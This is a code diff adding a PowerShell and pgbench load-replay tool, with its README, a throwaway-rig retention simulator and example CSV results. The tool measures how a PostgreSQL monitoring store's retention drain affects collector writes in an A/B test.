+                $comment += "-- Apply statements: QueryStoreIntervalLatest.cs line 239 and QueryStoreIntervalWide.cs line 201 (UpsertSql), same transaction (DarlingCollectorRunner.cs lines 4684 and 4692).`n"
+                $sql = $ins
+            }
+            { $_ -in 'query_stats', 'procedure_stats' } {
+                # Query text / plan content go to the digest dimensions once (PayloadDimensions.cs:395 UpsertSql); the raw
+                # row carries only the digest (PayloadDimensions.cs:122-124). Most digests repeat, a few are new.
+                $cn = @($colsByTable[$t] | ForEach-Object { $_.name })
+                $ov['query_text'] = 'NULL'; $ov['query_plan_xml'] = 'NULL'
+                $ov['query_text_digest'] = "sha256(convert_to('qt' || (:dimbase + g), 'UTF8'))"
+                $ov['query_plan_digest'] = "sha256(convert_to('qp' || (:dimbase + g), 'UTF8'))"
+                $ov['sql_handle'] = "left(md5((:dimbase + g)::text), 20)"
+                $ov['plan_handle'] = "left(md5((:dimbase + g)::text), 20)"
+                $ov['query_hash'] = "'0x' || left(md5((:dimbase + g)::text), 16)"
+                $ov['query_plan_hash'] = "'0x' || left(md5(('p' || (:dimbase + g))::text), 16)"
+                $sql = New-InsertSql $t $batch $ov
+                $pre = ''
+                if ($cn -contains 'query_text_digest') {
+                    $pre += $dimTextUpsert.Replace('{NOW}', $nowSql).Replace('{BATCH}', "$batch").Replace('{TEXTREPEAT}', "$([math]::Max(1, [int]($QueryTextBytes / 14)))") + "`n"
+                }
+                if ($cn -contains 'query_plan_digest') {
+                    $pre += $dimPlanUpsert.Replace('{NOW}', $nowSql).Replace('{BATCH}', "$batch").Replace('{PLANMD5}', "$([math]::Max(1, [int]($PlanBytes / 16)))") + "`n"
+                }
+                $comment += "-- Dimension upserts first: PayloadDimensions.cs line 395 (UpsertSql), digest columns per PayloadDimensions.cs lines 122-124.`n"
+            }
+            default { $sql = New-InsertSql $t $batch $ov }
+        }
+        $isDigest = $t -in 'query_stats', 'procedure_stats'
+        $dimSet = if ($isDigest) { "\set isnew random(1, 100)`n\if :isnew <= $NewDigestPercent`n    \set dimbase random($DigestPool, 900000000)`n\else`n    \set dimbase random(1, $DigestPool)`n\endif`n" } else { '' }
+        $body = $comment + $header + $dimSet + "BEGIN;`n" + $pre + $sql + $post + "`nEND;`n"
+        $jobs.Add([pscustomobject]@{ name = $t; table = $t; txps = $txps; batch = $batch; body = $body; share = $r.share_percent })
+    }
+
+    # ---- validation: every script once, rolled back ----------------------------------------------------
+    $nclients = [math]::Max(1, [math]::Min($MaxClients, $activeServers))
+    $spc = [math]::Max(1, [int][math]::Ceiling($servers.Count / $nclients))
+    # pgbench wants the client count to be a multiple of the thread count: take the largest divisor <= -Threads.
+    $jobsThreads = 1
+    for ($d = [math]::Min($Threads, $nclients); $d -ge 1; $d--) { if ($nclients % $d -eq 0) { $jobsThreads = $d; break } }
+    $dvars = @('-D', "nclients=$nclients", '-D', "spc=$spc", '-D', "nservers=$($servers.Count)")
+    $good = [System.Collections.Generic.List[object]]::new()
+    foreach ($j in $jobs) {
+        $valFile = Join-Path $scriptsDir ("validate_{0}.sql" -f $j.name)
+        Set-Content -LiteralPath $valFile -Value ($j.body -replace '(?m)^END;\s*$', 'ROLLBACK;') -Encoding utf8
+        $out = & $script:Pgbench -n -c 1 -j 1 -t 1 -f $valFile @dvars $script:ConnUri 2>&1
+        $text = ($out | ForEach-Object { "$_" }) -join ' '
+        if ($LASTEXITCODE -ne 0 -or $text -match 'ERROR:|pgbench: error|FATAL') {
+            Write-Warning ("Dropping {0} from the mix: its write does not run against this store ({1})" -f $j.name, $text.Substring(0, [math]::Min(220, $text.Length)))
+            continue
+        }
+        Remove-Item -LiteralPath $valFile
+        Set-Content -LiteralPath (Join-Path $scriptsDir ("{0}.sql" -f $j.name)) -Value $j.body -Encoding utf8
+        $good.Add($j)
+    }
+    if ($good.Count -eq 0) { throw 'No table in the mix validated.' }
+    $coverage = ($good | Measure-Object -Property share -Sum).Sum
+    Write-Info ("Mix: {0} table(s), {1:F1}% of the store's hourly rows" -f $good.Count, $coverage)
+    if ($coverage -lt $CoveragePercent -and -not $AllowLowCoverage) {
+        throw ("The validated mix covers only {0:F1}% of the hourly rows (wanted {1}%). See the warnings above, or pass -AllowLowCoverage." -f $coverage, $CoveragePercent)
+    }
+    foreach ($r in $rates) { $r.in_mix = [bool]($good | Where-Object { $_.table -eq $r.table }) }
+    $rates | Sort-Object rows_per_hour -Descending | Export-Csv -LiteralPath (Join-Path $OutputFolder 'rates.csv') -NoTypeInformation -Encoding utf8
+
+    $totalTxps = ($good | Measure-Object -Property txps -Sum).Sum * $RateScale
+    $minTx = ($good | Measure-Object -Property txps -Minimum).Minimum
+    $scriptArgs = @()
+    $scriptMeta = @()
+    $no = 0
+    foreach ($j in $good) {
+        $w = [int][math]::Max(1, [math]::Round(1000.0 * $j.txps / (($good | Measure-Object -Property txps -Sum).Sum)))
+        $scriptArgs += @('-f', ((Quote-Arg (Join-Path $scriptsDir "$($j.name).sql")) + '@' + $w))
+        $scriptMeta += [pscustomobject]@{ no = $no; name = $j.name; weight = $w; batch = $j.batch; tx_per_sec_at_scale_1 = [math]::Round($j.txps, 4) }
+        $no++
+    }
+    Write-Host ''
+    Write-Host ("Plan: {0} clients, {1:F2} tx/s (rate scale {2}), servers {3} ({4} enabled), tables:" -f $nclients, $totalTxps, $RateScale, $servers.Count, $enabledCount)
+    $scriptMeta | ForEach-Object { Write-Host ("  {0,-34} weight {1,5}  batch {2,5} rows" -f $_.name, $_.weight, $_.batch) }
+    Write-Host ''
+
+    # ---- step 4: samplers ---------------------------------------------------------------------------------
+    $samplerCsv = Join-Path $OutputFolder 'sampler.csv'
+    $deletesCsv = Join-Path $OutputFolder 'deletes.csv'
+    foreach ($f in @($samplerCsv, $deletesCsv)) { if (Test-Path -LiteralPath $f) { Remove-Item -LiteralPath $f } }
+    $appFilter = if ($RetentionAppName -ne '') { "AND a.application_name = '" + (Escape-SqlLiteral $RetentionAppName) + "'" } else { '' }
+    $ioCols = if ($hasIo) { "(SELECT coalesce(sum(reads), 0) FROM pg_stat_io), (SELECT coalesce(sum(writes), 0) FROM pg_stat_io), (SELECT coalesce(sum(read_time), 0)::bigint FROM pg_stat_io), (SELECT coalesce(sum(write_time), 0)::bigint FROM pg_stat_io)" } else { '0, 0, 0, 0' }
+    $isDelete = "(a.query ~* '^\s*(DELETE\s+FROM|SELECT\s+drop_chunks)' $appFilter)"
+    $samplerSql = @"
+\set QUIET on
+\pset format unaligned
+\pset tuples_only on
+\pset fieldsep ','
+\o '$($samplerCsv.Replace('\', '/'))'
+WITH act AS
+(
+    SELECT a.application_name, a.wait_event_type, a.wait_event, a.query,
+           $isDelete AS is_ret
+    FROM pg_stat_activity AS a
+    WHERE a.state = 'active' AND a.backend_type = 'client backend' AND a.pid <> pg_backend_pid()
+    AND   a.application_name NOT LIKE 'drain-ab-%'
+)
+SELECT
+    round(extract(epoch FROM clock_timestamp())::numeric, 3),
+    coalesce(max(substring(query FROM '(?i)^\s*DELETE\s+FROM\s+(?:ONLY\s+)?(?:"?collect"?\.)?"?([A-Za-z0-9_]+)') ) FILTER (WHERE is_ret), max(substring(query FROM '(?i)drop_chunks\(\s*''?(?:collect\.)?([A-Za-z0-9_]+)')) FILTER (WHERE is_ret), ''),
+    coalesce(max(application_name) FILTER (WHERE is_ret), ''),
+    coalesce(max(coalesce(wait_event_type, 'CPU') || ':' || coalesce(wait_event, '')) FILTER (WHERE is_ret), ''),
+    count(*) FILTER (WHERE application_name = 'pgbench'),
+    count(*) FILTER (WHERE application_name = 'pgbench' AND wait_event_type = 'IO'),
+    count(*) FILTER (WHERE application_name = 'pgbench' AND wait_event_type = 'Lock'),
+    count(*) FILTER (WHERE application_name = 'pgbench' AND wait_event_type = 'LWLock'),
+    count(*) FILTER (WHERE application_name <> 'pgbench' AND NOT is_ret),
+    count(*) FILTER (WHERE application_name <> 'pgbench' AND NOT is_ret AND wait_event_type = 'IO'),
+    count(*) FILTER (WHERE application_name <> 'pgbench' AND NOT is_ret AND wait_event_type = 'Lock'),
+    count(*) FILTER (WHERE application_name <> 'pgbench' AND NOT is_ret AND wait_event_type = 'LWLock'),
+    CASE WHEN pg_is_in_recovery() THEN 0 ELSE pg_wal_lsn_diff(pg_current_wal_lsn(), '0/0')::bigint END,
+    $ioCols
+FROM act \watch 1
+"@
+    $delSql = @"
+\set QUIET on
+\pset format unaligned
+\pset tuples_only on
+\pset fieldsep ','
+\o '$($deletesCsv.Replace('\', '/'))'
+SELECT round(extract(epoch FROM clock_timestamp())::numeric, 3), coalesce(p.relname, c.relname), sum(s.n_tup_del)
+FROM pg_stat_all_tables AS s
+JOIN pg_class AS c ON c.oid = s.relid
+LEFT JOIN pg_inherits AS i ON i.inhrelid = c.oid
+LEFT JOIN pg_class AS p ON p.oid = i.inhparent
+WHERE s.n_tup_del > 0
+AND   (c.relnamespace = 'collect'::regnamespace OR p.relnamespace = 'collect'::regnamespace)
+GROUP BY 2 \watch 2
+"@
+    $samplerFile = Join-Path $OutputFolder 'sampler.sql'
+    $delFile = Join-Path $OutputFolder 'deletes.sql'
+    Set-Content -LiteralPath $samplerFile -Value $samplerSql -Encoding utf8
+    Set-Content -LiteralPath $delFile -Value $delSql -Encoding utf8
+    foreach ($pair in @(@($samplerFile, 'sampler'), @($delFile, 'deletes'))) {
+        $p = Start-Process -FilePath (Get-Command $script:Psql).Source -ArgumentList @('-X', '-q', '-d', (Quote-Arg $samplerUri), '-f', (Quote-Arg $pair[0])) `
+            -RedirectStandardOutput (Join-Path $OutputFolder "$($pair[1]).psql.out") -RedirectStandardError (Join-Path $OutputFolder "$($pair[1]).psql.err") -NoNewWindow -PassThru
+        $running.Add($p); $startedPids.Add($p.Id)
+    }
+    Start-Sleep -Seconds 3
+    if (-not (Test-Path -LiteralPath $samplerCsv) -or (Get-Item -LiteralPath $samplerCsv).Length -eq 0) {
+        $err = Get-Content -LiteralPath (Join-Path $OutputFolder 'sampler.psql.err') -ErrorAction SilentlyContinue | Select-Object -First 3
+        throw ("The sampler wrote nothing after 3 s. " + ($err -join ' '))
+    }
+
+    # ---- step 3: run pgbench in segments until a stop condition -------------------------------------------
+    $started = [DateTime]::UtcNow
+    $runMeta = [ordered]@{
+        started_utc = $started.ToString('yyyy-MM-dd HH:mm:ss', $Inv); ended_utc = ''; stop_reason = ''
+        server_version = $verText; has_pg_stat_io = $hasIo; clock_offset_seconds = $offset
+        clients = $nclients; tx_per_sec = $totalTxps; rate_scale = $RateScale; coverage_percent = $coverage
+        rate_window = "$loText .. $hi"; scripts = $scriptMeta
+    }
+    $segNo = 0
+    $lastDelete = $null
+    $sawDelete = $false
+    $stopReason = $null
+    $samplerReader = $null
+    $samplerStream = $null
+    $lastBeat = [DateTime]::UtcNow
+    $currentTable = ''
+    $totalRows = [math]::Max(1, $totalPerHour)
+    while ($true) {
+        $now = [DateTime]::UtcNow
+        $elapsed = ($now - $started).TotalSeconds
+        if ($null -eq $stopReason) {
+            if ($FixedDurationSeconds -gt 0 -and $elapsed -ge $FixedDurationSeconds) { $stopReason = "fixed duration $FixedDurationSeconds s" }
+            elseif ($elapsed -ge $HardCapHours * 3600) { $stopReason = "hard cap $HardCapHours h" }
+            elseif ($sawDelete -and ($now - $lastDelete).TotalMinutes -ge $IdleMinutes) { $stopReason = "drain finished (no retention DELETE for $IdleMinutes min)" }
+            elseif (-not $sawDelete -and $elapsed -ge $NoDrainTimeoutMinutes * 60) { $stopReason = "no retention DELETE seen within $NoDrainTimeoutMinutes min" }
+            if ($null -ne $stopReason) { Write-Info "Stopping: $stopReason (waiting for the current pgbench segment to end)" }
+        }
+        $benchRunning = ($null -ne $pgbenchProc) -and (-not $pgbenchProc.HasExited)
+        if ($null -ne $pgbenchProc -and $pgbenchProc.HasExited -and $pgbenchProc.ExitCode -ne 0) {
+            $errText = (Get-Content -LiteralPath (Join-Path $OutputFolder ("pgbench_seg{0:D4}.err" -f $segNo)) -ErrorAction SilentlyContinue | Select-Object -First 2) -join ' '
+            throw "pgbench exited with code $($pgbenchProc.ExitCode): $errText"
+        }
+        if (-not $benchRunning) {
+            if ($null -ne $stopReason) { break }
+            $segNo++
+            $segSeconds = $SegmentSeconds
+            if ($FixedDurationSeconds -gt 0) { $segSeconds = [int][math]::Max(1, [math]::Min($SegmentSeconds, $FixedDurationSeconds - $elapsed)) }
+            $pbArgs = @('-n', '-c', $nclients, '-j', $jobsThreads, '-R', ($totalTxps.ToString('F4', $Inv)), '-T', $segSeconds,
+                '--log', '--log-prefix', (Quote-Arg (Join-Path $OutputFolder ("pgbench_seg{0:D4}" -f $segNo))), '--sampling-rate', ($LogSamplingRate.ToString($Inv)),
+                '-D', "nclients=$nclients", '-D', "spc=$spc", '-D', "nservers=$($servers.Count)") + $scriptArgs + @((Quote-Arg $script:ConnUri))
+            $pgbenchProc = Start-Process -FilePath (Get-Command $script:Pgbench).Source -ArgumentList $pbArgs `
+                -RedirectStandardOutput (Join-Path $OutputFolder ("pgbench_seg{0:D4}.out" -f $segNo)) -RedirectStandardError (Join-Path $OutputFolder ("pgbench_seg{0:D4}.err" -f $segNo)) -NoNewWindow -PassThru
+            $running.Add($pgbenchProc); $startedPids.Add($pgbenchProc.Id)
+        }
+        # read new sampler lines
+        if ($null -eq $samplerReader) {
+            $samplerStream = [System.IO.File]::Open($samplerCsv, 'Open', 'Read', 'ReadWrite')
+            $samplerReader = [System.IO.StreamReader]::new($samplerStream)
+        }
+        while ($null -ne ($ln = $samplerReader.ReadLine())) {
+            $c = $ln.Split(',')
+            if ($c.Length -ge 2 -and $c[1] -ne '') { $sawDelete = $true; $lastDelete = [DateTime]::UtcNow; $currentTable = $c[1] }
+        }
+        if (($now - $lastBeat).TotalSeconds -ge 30) {
+            Write-Info ("elapsed {0:F0} s, segment {1}, retention: {2}" -f $elapsed, $segNo, $(if ($sawDelete -and ($now - $lastDelete).TotalSeconds -lt 20) { "deleting from $currentTable" } elseif ($sawDelete) { 'paused/finished' } else { 'not seen yet' }))
+            $lastBeat = $now
+        }
+        Start-Sleep -Seconds 1
+    }
+    Start-Sleep -Seconds 3   # one more sampler tick after the last transaction
+    $runMeta.ended_utc = [DateTime]::UtcNow.ToString('yyyy-MM-dd HH:mm:ss', $Inv)
+    $runMeta.stop_reason = $stopReason
+}
+finally {
+    if ($null -ne $samplerReader) { $samplerReader.Dispose() }
+    # Stop only the processes this script started, by PID.
+    foreach ($p in $running) {
+        try { if (-not $p.HasExited) { Stop-Process -Id $p.Id -Force } } catch { }
+    }
+    if ($Password -ne '') { Remove-Item Env:PGPASSWORD -ErrorAction SilentlyContinue }
+    if (Test-Path -LiteralPath $script:Tmp) { Remove-Item -LiteralPath $script:Tmp -Recurse -Force -ErrorAction SilentlyContinue }
+}
+
+($runMeta | ConvertTo-Json -Depth 6) | Set-Content -LiteralPath (Join-Path $OutputFolder 'run.json') -Encoding utf8
+$phases = Write-Report $OutputFolder
+Write-Host ''
+Write-Host ($phases | Format-Table phase, seconds, rows_per_sec, tx_per_sec, lat_p50_ms, lat_p95_ms, lat_max_ms, io_wait_share_pct -AutoSize | Out-String)
diff --git a/tools/drain-ab-replay/README.md b/tools/drain-ab-replay/README.md
new file mode 100644
index 0000000000..e60a6c8384
--- /dev/null
+++ b/tools/drain-ab-replay/README.md
@@ -0,0 +1,126 @@
+# drain-ab-replay
+
+A load script for the retention-drain A/B in #5592. You restore two copies of a large store that still holds a
+retention backlog. You block outbound network on both. Copy A runs the 3.10 dev build, where the drain is not paced.
+Copy B runs the #5592 build, where the drain waits while collection is behind and pauses after each batch. With the network blocked no real collector can run, so this script stands in for the collectors'
+writes. It measures what the drain does to those writes, one table at a time.
+
+You run it. You build nothing. It needs PowerShell 7, `psql` and `pgbench` (PostgreSQL 14 or newer client tools).
+The `pgbench` that ships with the server is fine.
+
+## What it does
+
+1. **Rate from the store.** For every `collect.*` table that has a `collection_time` and a `server_id`, it counts the
+   rows written in the last 24 hours of data (the window ends at the newest `collect.collection_log` row, so a stopped
+   copy still has a "last day"). It also reads how many servers wrote in that window and the average rows per
+   collection (one `(server_id, collection_time)` pair is one collection). The result is `rates.csv` in the output
+   folder and is printed.
+2. **Statement mix from the code.** It picks the tables that carry at least 90 percent of those rows
+   (`-CoveragePercent`) and writes one pgbench script per table into `scripts/`. Rows get real `server_id` and
+   `server_name` values from `collect.servers`, the current time, and plausible keys. Each script weight is that
+   table's share of transactions per second.
+3. **Run.** `pgbench -n -c <clients> -R <transactions per second> --log`, in 60 second segments, until the drain is
+   done (no retention DELETE seen for 5 minutes after one was seen), or the hard cap (4 hours). If no DELETE shows up
+   in 60 minutes it stops too. Clients are one per server that wrote in the window, capped at 32.
+4. **Reads, every second.** `sampler.csv`: the table the retention backend is deleting from, its wait event, counts of
+   IO, Lock and LWLock waiters (pgbench backends and everything else), the WAL position and, on PostgreSQL 16 or
+   newer, the `pg_stat_io` totals (reads, writes, read and write time). On older servers those columns are zero and the
+   report says "not available". `deletes.csv`: `n_tup_del` per table every 2 seconds (partitions and chunks roll up to
+   their parent).
+5. **Report.** `phases.csv`, `latency_by_script.csv` and `summary.md`. A phase is a table the retention backend was
+   deleting from. "No drain" is every second with no retention DELETE seen. Per phase: start, end, seconds, rows
+   deleted and rows per second (from `n_tup_del`), transactions per second, write latency p50, p95 and max, schedule
+   lag, the IO, Lock and LWLock wait share, WAL per second. `-Compare` puts runs A and B side by side.
+
+## What it copies from the collectors, and what it cannot
+
+The collectors write each batch with one binary `COPY` per server per collection
+(`PgCollectorRowWriter.cs`, `CopyCommandFor`, line 192). pgbench cannot issue a `COPY`, Each script writes the same
+table, the same column list, and the same number of rows per batch with one `INSERT ... SELECT ... generate_series`,
+inside one transaction. The tables that really upsert use the real upsert text, copied into the scripts and cited by
+file and line in a comment at the top of each script:
+
+| Table | Shape in the script | Source |
+|---|---|---|
+| `query_store_stats` | raw insert, then the Query Store interval apply into `query_store_interval_latest` and `query_store_interval_wide`, same transaction | `QueryStoreIntervalLatest.cs` line 239, `QueryStoreIntervalWide.cs` line 201, `DarlingCollectorRunner.cs` lines 4684 and 4692 |
+| `query_stats`, `procedure_stats` | text and plan content upserted into `query_text_dim` and `query_plan_dim` first (most digests repeat, `-NewDigestPercent` are new), then the raw row carries only the digest | `PayloadDimensions.cs` line 395, lines 122-124 |
+| every other table | plain insert of one batch | `PgCollectorRowWriter.cs` line 192 |
+
+Before the run, each script is executed once inside a transaction that is rolled back. A table whose write does not
+run against this store is dropped from the mix with a warning, and the covered share is recomputed. The run stops if
+that falls under `-CoveragePercent` (override with `-AllowLowCoverage`).
+
+It does not replace the real collectors:
+
+- A real collector's scheduler skips a slot when the previous run has not finished. pgbench keeps its own schedule
+  and reports `lag_*` (how late a transaction started against its slot). That is the closest stand-in for skipped
+  slots, not the same thing. The self-alert and the "skipping relaunch" log lines need the real service.
+- It does not reproduce the service's own work after a collection (hourly roll-ups, sweeps, config reads).
+- Row contents are synthetic. Row width follows `-QueryTextBytes` and `-PlanBytes`, not the field store's.
+- Tables the collectors write without a `collection_time` column are not in the mix.
+- When the store has TimescaleDB hypertables, a drain that uses `drop_chunks` does not move `n_tup_del`. The
+  phase still shows (the sampler sees the `drop_chunks` statement) but its rows per second is blank.
+- Retention is recognized by its statement text: a statement that starts with `DELETE FROM <table>` or
+  `SELECT drop_chunks('<table>'`. The application name is recorded in `sampler.csv` but is not enough on its own,
+  because every connection the service opens carries the same name. `-RetentionAppName` narrows it if you want.
+- The login needs to see other sessions' query text (superuser, `pg_read_all_stats` or `pg_monitor`). The script warns
+  when it cannot. If it cannot, every phase reads "no drain".
+- At a low rate few pgbench backends are caught active by a once-a-second sample. `active_samples` in `phases.csv`
+  says how many. Read the wait shares only when it is large.
+
+## Safety
+
+- It refuses to run unless every server in `config.config_monitored_servers` has `is_enabled = false`, or you pass `-IKnowThisIsACopy`. That is the table the service collects from. On an older schema without it, the check reads `collect.servers`.
+- It writes only the collector insert and upsert shapes above. It never drops, truncates or alters anything. The
+  only other statements are `SELECT`s and the rolled-back validation run.
+- The connection comes from parameters only. `-Password` is handed to `psql` and `pgbench` through `PGPASSWORD` for
+  the run and removed afterwards. Leave it out when the login needs no password. The script never reads a connection
+  setting from the environment.
+- The extra rows it writes stay in the copy. Throw the copy away when the A/B is done.
+
+## Commands
+
+Restore a fresh copy for each run. Start the service on the copy, then start this script right away so the "no drain"
+period before the drain is measured too. Run A, on the copy running the 3.10 dev build:
+
+```powershell
+pwsh ./tools/drain-ab-replay/Invoke-DrainAbReplay.ps1 `
+    -DbHost localhost -Port 5432 -User postgres -Database darling -Password '<password>' `
+    -OutputFolder D:\ab\runA -IKnowThisIsACopy -ServiceLog D:\logs\darling-A.log
+```
+
+Run B, on the copy running the #5592 build (change the port and database name to match that copy):
+
+```powershell
+pwsh ./tools/drain-ab-replay/Invoke-DrainAbReplay.ps1 `
+    -DbHost localhost -Port 5433 -User postgres -Database darling -Password '<password>' `
+    -OutputFolder D:\ab\runB -IKnowThisIsACopy -ServiceLog D:\logs\darling-B.log
+```
+
+Compare (writes `compare.md` and `compare.csv` into `-OutputFolder`):
+
+```powershell
+pwsh ./tools/drain-ab-replay/Invoke-DrainAbReplay.ps1 -Compare D:\ab\runA D:\ab\runB -OutputFolder D:\ab\compare
+```
+
+Rebuild one run's report (for example with another gap setting): add `-ReportOnly -OutputFolder D:\ab\runA`.
+
+Useful parameters: `-RateScale` (1.0 is the measured rate), `-HardCapHours` (4), `-IdleMinutes` (5),
+`-NoDrainTimeoutMinutes` (60), `-FixedDurationSeconds` (0 means run to the stop condition), `-MaxClients` (32),
+`-Threads` (1), `-CoveragePercent` (90), `-MaxTables` (40), `-RateWindowHours` (24), `-PhaseGapSeconds` (120: a pause
+this short between batches, or between two batches of the same table, stays in the phase), `-MinBatchRows` and
+`-MaxBatchRows`, `-QsDatabases`, `-DigestPool`, `-NewDigestPercent`, `-QueryTextBytes`, `-PlanBytes`, `-PsqlPath`,
+`-PgbenchPath`. Use the same values for A and B. `-ServiceLog` is optional. Its `Retention purge drained ...` and
+`Retention purge: ...` lines are copied into `summary.md`.
+
+## Tear down
+
+Press Ctrl+C to stop early. The script stops the `psql` and `pgbench` processes it started (by process id) and removes
+its temp files. Then stop the service on the copy and drop the copy. Nothing outside the output folder is left behind.
+
+## Proving the script
+
+`proof/` holds what was used to prove it on a throwaway PostgreSQL. `seed-proof-rig.sql` seeds a small migrated store
+(3 disabled servers, a day of rows, a 12 day backlog) and `Start-FakeRetention.ps1` plays the service's retention
+DELETEs so phase detection can be seen. `proof/example-output/` is the report from that run (3 clients, about 1 tx/s,
+200 seconds). Do not run either file against a real store.
diff --git a/tools/drain-ab-replay/proof/Start-FakeRetention.ps1 b/tools/drain-ab-replay/proof/Start-FakeRetention.ps1
new file mode 100644
index 0000000000..2ea639f04e
--- /dev/null
+++ b/tools/drain-ab-replay/proof/Start-FakeRetention.ps1
@@ -0,0 +1,47 @@
+<#
+.SYNOPSIS
+    Stands in for the Darling service's retention drain on a THROWAWAY rig, so Invoke-DrainAbReplay.ps1's phase
+    detection can be proven. Never point this at a real store.
+
+.DESCRIPTION
+    Deletes old rows, a batch at a time, from the tables named in -Tables, one table after another, with a pause
+    between batches and a longer one between tables. Each DELETE holds still for -BatchSeconds (a sleep inside the
+    statement) so a once-a-second sampler sees it. The connection reports the service's application name.
+#>
+param(
+    [Parameter(Mandatory)] [string] $DbHost,
+    [int] $Port = 5432,
+    [Parameter(Mandatory)] [string] $User,
+    [Parameter(Mandatory)] [string] $Database,
+    [string[]] $Tables = @('wait_stats', 'perfmon_stats', 'file_io_stats'),
+    [int] $OlderThanDays = 10,
+    [int] $BatchRows = 4000,
+    [double] $BatchSeconds = 1.5,
+    [double] $PauseBetweenBatches = 3,
+    [double] $PauseBetweenTables = 25,
+    [string] $AppName = 'PerformanceMonitorDarling-Service',
+    [string] $PsqlPath = 'psql',
+    [string] $WorkFolder = [System.IO.Path]::GetTempPath()
+)
+$ErrorActionPreference = 'Stop'
+$inv = [System.Globalization.CultureInfo]::InvariantCulture
+$sb = [System.Text.StringBuilder]::new()
+[void]$sb.AppendLine('SET search_path = collect;')
+$first = $true
+foreach ($t in $Tables) {
+    if (-not $first) { [void]$sb.AppendLine("SELECT pg_sleep($($PauseBetweenTables.ToString($inv)));") }
+    $first = $false
+    # Each batch is one statement that starts with DELETE FROM <table>, like the service's retention DELETEs.
+    for ($i = 0; $i -lt 8; $i++) {
+        [void]$sb.AppendLine("DELETE FROM $t WHERE ctid IN (SELECT ctid FROM $t WHERE collection_time < (now() AT TIME ZONE 'UTC') - interval '$OlderThanDays days' LIMIT $BatchRows) AND (SELECT pg_sleep($($BatchSeconds.ToString($inv)))) IS NOT NULL;")
+        [void]$sb.AppendLine("SELECT pg_sleep($($PauseBetweenBatches.ToString($inv)));")
+    }
+}
+$file = Join-Path $WorkFolder ('fake-retention-' + [guid]::NewGuid().ToString('N') + '.sql')
+Set-Content -LiteralPath $file -Value $sb.ToString() -Encoding utf8
+try {
+    $uri = 'postgresql://{0}@{1}:{2}/{3}?application_name={4}' -f [uri]::EscapeDataString($User), $DbHost, $Port, [uri]::EscapeDataString($Database), [uri]::EscapeDataString($AppName)
+    & $PsqlPath -X -q -d $uri -f $file
+}
+finally { Remove-Item -LiteralPath $file -ErrorAction SilentlyContinue }
+
diff --git a/tools/drain-ab-replay/proof/example-output/latency_by_script.csv b/tools/drain-ab-replay/proof/example-output/latency_by_script.csv
new file mode 100644
index 0000000000..cd629f466f
--- /dev/null
+++ b/tools/drain-ab-replay/proof/example-output/latency_by_script.csv
@@ -0,0 +1,26 @@
+"phase","script","tx","p50_ms","p95_ms","max_ms"
+"no drain","perfmon_stats","7","29.7","144.2","144.2"
+"no drain","wait_stats","1","12.0","12.0","12.0"
+"no drain","file_io_stats","5","16.6","40.0","40.0"
+"no drain","query_stats","3","57.4","85.5","85.5"
+"no drain","collection_log","42","12.0","49.3","179.9"
+"no drain","cpu_utilization_stats","45","11.3","153.3","250.7"
+"no drain","query_store_stats","5","30.8","459.2","459.2"
+"wait_stats","perfmon_stats","6","12.8","17.3","17.3"
+"wait_stats","wait_stats","4","7.8","16.8","16.8"
+"wait_stats","file_io_stats","5","10.8","15.0","15.0"
+"wait_stats","query_stats","3","29.1","39.9","39.9"
+"wait_stats","collection_log","7","13.4","220.9","220.9"
+"wait_stats","cpu_utilization_stats","11","15.8","275.6","275.6"
+"perfmon_stats","wait_stats","3","27.2","34.5","34.5"
+"perfmon_stats","file_io_stats","5","17.6","275.3","275.3"
+"perfmon_stats","query_stats","1","254.4","254.4","254.4"
+"perfmon_stats","collection_log","12","14.6","94.5","94.5"
+"perfmon_stats","cpu_utilization_stats","10","15.4","261.8","261.8"
+"file_io_stats","perfmon_stats","1","60.3","60.3","60.3"
+"file_io_stats","wait_stats","4","15.4","17.2","17.2"
+"file_io_stats","file_io_stats","4","8.8","187.6","187.6"
+"file_io_stats","query_stats","3","29.9","719.5","719.5"
+"file_io_stats","collection_log","15","9.5","334.6","334.6"
+"file_io_stats","cpu_utilization_stats","15","11.1","103.3","103.3"
+"file_io_stats","query_store_stats","3","20.2","21.7","21.7"
diff --git a/tools/drain-ab-replay/proof/example-output/phases.csv b/tools/drain-ab-replay/proof/example-output/phases.csv
new file mode 100644
index 0000000000..7b360a7f68
--- /dev/null
+++ b/tools/drain-ab-replay/proof/example-output/phases.csv
@@ -0,0 +1,5 @@
+"phase","table","start_utc","end_utc","seconds","rows_deleted","rows_per_sec","tx","tx_per_sec","lat_p50_ms","lat_p95_ms","lat_max_ms","lag_p95_ms","lag_max_ms","active_samples","io_wait_share_pct","lock_wait_share_pct","lwlock_wait_share_pct","wal_mb_per_sec","store_reads_per_sec","store_writes_per_sec"
+"no drain","","2026-10-08 20:31:21","2026-10-08 20:34:13","99","","","108","1.1","13.5","144.2","459.2","77.4","325.2","0","","","","0.08","0","17"
+"wait_stats","wait_stats","2026-10-08 20:30:46","2026-10-08 20:31:21","35","0","0.0","36","1.0","13.9","220.9","275.6","175.3","262.4","0","","","","0.03","0","14"
+"perfmon_stats","perfmon_stats","2026-10-08 20:31:45","2026-10-08 20:32:22","37","8000","216.2","31","0.8","17.0","261.8","275.3","248.1","252.1","0","","","","0.05","0","15"
+"file_io_stats","file_io_stats","2026-10-08 20:32:44","2026-10-08 20:33:20","36","8000","222.2","45","1.2","11.4","254.6","719.5","94.8","308.9","0","","","","0.10","0","8"
diff --git a/tools/drain-ab-replay/proof/example-output/rates.csv b/tools/drain-ab-replay/proof/example-output/rates.csv
new file mode 100644
index 0000000000..d99abc4315
--- /dev/null
+++ b/tools/drain-ab-replay/proof/example-output/rates.csv
@@ -0,0 +1,68 @@
+"table","rows_in_window","rows_per_hour","batch_rows","share_percent","cumulative_percent","in_mix","note"
+"perfmon_stats","17760","740","60","38.97","38.97","True",""
+"wait_stats","12040","501.7","40","26.42","65.39","True",""
+"file_io_stats","6020","250.8","20","13.21","78.6","True",""
+"query_stats","4470","186.2","15","9.81","88.41","True",""
+"collection_log","1794","74.8","1","3.94","92.35","True",""
+"cpu_utilization_stats","1747","72.8","1","3.83","96.18","True",""
+"query_store_stats","1740","72.5","12","3.82","100","True",""
+"ag_database_replica_states","0","0","0","0","100","False",""
+"pg_wait_stats","0","0","0","0","100","False",""
+"pg_wait_sampling","0","0","0","0","100","False",""
+"pg_table_bloat_stats","0","0","0","0","100","False",""
+"pg_statement_stats","0","0","0","0","100","False",""
+"pg_session_states","0","0","0","0","100","False",""
+"pg_replication_stats","0","0","0","0","100","False",""
+"pg_replication_slot_stats","0","0","0","0","100","False",""
+"pg_predicate_stats","0","0","0","0","100","False",""
+"pg_plan_capture_readiness","0","0","0","0","100","False",""
